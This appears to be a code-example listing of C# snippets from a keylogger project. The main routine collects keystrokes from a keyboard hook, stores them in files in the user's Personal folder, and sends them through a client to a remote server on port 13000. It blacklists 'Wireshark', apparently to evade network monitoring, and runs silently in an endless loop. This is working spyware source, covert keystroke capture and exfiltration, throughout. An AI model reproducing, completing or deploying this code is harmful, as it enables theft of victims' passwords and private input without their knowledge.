예제 #1
0
        ///<summary>
        ///Aggregates key-presses sent from the hook key logger.
        ///</summary>
        static void Main(string[] args)
        {
            // The path of the keylog file
            string path = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\keylog";
            // The new file that holds the extracted data
            string newFile = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\data";
            string addr = "localhost";
            int port = 4567;
            string serveraddr;
            int serverport = 13000;
            var blacklist = new List<string>();
            blacklist.Add("Wireshark");

            if (args.Length == 1)
            {
                serveraddr = args[0];
            }
            else
            {
                serveraddr = "server";
            }

            // Setup the shared resources
            ConcurrentQueue<KeyPress> inputbuffer = new ConcurrentQueue<KeyPress>();
            ConcurrentQueue<CI> outbuffer = new ConcurrentQueue<CI>();
            Grpc.Core.Server server = new Grpc.Core.Server
            {
                Services = { HookKeylogger.Base.KerPressAggergator.BindService(new KeyPressAggergatorImpl(inputbuffer)) },
                Ports = { new Grpc.Core.ServerPort(addr, port, Grpc.Core.ServerCredentials.Insecure) }
            };
            ServerClient client = new ServerClient(serveraddr, serverport, blacklist.ToArray());
            KeyPressAggergator ksa = new KeyPressAggergator(inputbuffer, client);
            Thread aggergationThread = new Thread(new ThreadStart(ksa.Scan));
            Thread sendThread = new Thread(new ThreadStart(client.Start));

            // Start threads and server
            aggergationThread.Start();
            sendThread.Start();
            server.Start();

            //Console.WriteLine("Key-Press Aggergation server listening on " +addr + ":" + port);
            //Console.WriteLine("Press any key to stop the aggregation server...");
            //Console.ReadKey();
            while (true) { System.Threading.Thread.Sleep(100000); }

            // Shutdown and wait for all threads to finish before exiting.
            aggergationThread.Abort();
            aggergationThread.Join();
            sendThread.Abort();
            sendThread.Join();
            server.ShutdownAsync();
        }
예제 #2
0
 public KeyPressAggergator(ConcurrentQueue<KeyPress> q,  ServerClient client, string file, string key)
     : this(q, client)
 {
     this.outFName = file;
     this.sKey = key;
 }
예제 #3
0
 public KeyPressAggergator(ConcurrentQueue<KeyPress> q, ServerClient client)
 {
     this.client = client;
     this.inq = q;
 }